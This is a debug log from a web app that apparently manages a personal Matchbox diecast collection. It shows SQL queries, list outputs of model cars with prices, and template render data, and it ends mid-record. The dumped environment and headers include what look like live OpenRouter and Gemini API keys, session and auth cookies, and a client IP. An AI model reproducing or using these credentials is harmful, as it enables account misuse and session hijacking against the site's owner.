      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:47:11.479Z server-connect:router Serving templateView /
2026-02-04T06:47:11.479Z server-connect:app Executing action step identify
2026-02-04T06:47:11.479Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:11.480Z server-connect:output identity: 1
2026-02-04T06:47:11.480Z server-connect:app Executing action step restrict
2026-02-04T06:47:11.480Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:47:11.480Z server-connect:output restrict: undefined
2026-02-04T06:47:11.480Z server-connect:app Executing action step restrict
2026-02-04T06:47:11.480Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:47:11.480Z server-connect:output restrict: undefined
2026-02-04T06:47:11.480Z server-connect:router Render template layouts/main
2026-02-04T06:47:11.480Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T06:47:18.074Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:47:18.074Z server-connect:app Executing action step identify
2026-02-04T06:47:18.074Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:18.074Z server-connect:output identity: 1
2026-02-04T06:47:18.074Z server-connect:app Executing action step restrict
2026-02-04T06:47:18.074Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:47:18.075Z server-connect:output restrict: undefined
2026-02-04T06:47:18.075Z server-connect:app Executing action step condition
2026-02-04T06:47:18.075Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:47:18.075Z server-connect:app Executing action step update
2026-02-04T06:47:18.075Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:47:18.076Z server-connect:output update: { affected: 1 }
2026-02-04T06:47:18.076Z server-connect:app Executing action step upload
2026-02-04T06:47:18.076Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:47:18.076Z server-connect:output upload_image: []
2026-02-04T06:47:18.076Z server-connect:app Executing action step repeat
2026-02-04T06:47:18.076Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T06:47:18.076Z server-connect:output repeat_images: []
2026-02-04T06:47:18.076Z server-connect:output condition: undefined
2026-02-04T06:47:18.341Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:47:18.342Z server-connect:app Executing action step identify
2026-02-04T06:47:18.342Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:18.342Z server-connect:output identity: 1
2026-02-04T06:47:18.342Z server-connect:app Executing action step restrict
2026-02-04T06:47:18.342Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:47:18.342Z server-connect:output restrict: undefined
2026-02-04T06:47:18.342Z server-connect:app Executing action step paged
2026-02-04T06:47:18.342Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:47:18.344Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 30,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:47:18.609Z server-connect:router Serving templateView /
2026-02-04T06:47:18.609Z server-connect:app Executing action step identify
2026-02-04T06:47:18.609Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:18.609Z server-connect:output identity: 1
2026-02-04T06:47:18.609Z server-connect:app Executing action step restrict
2026-02-04T06:47:18.609Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:47:18.610Z server-connect:output restrict: undefined
2026-02-04T06:47:18.610Z server-connect:app Executing action step restrict
2026-02-04T06:47:18.610Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:47:18.610Z server-connect:output restrict: undefined
2026-02-04T06:47:18.610Z server-connect:router Render template layouts/main
2026-02-04T06:47:18.611Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
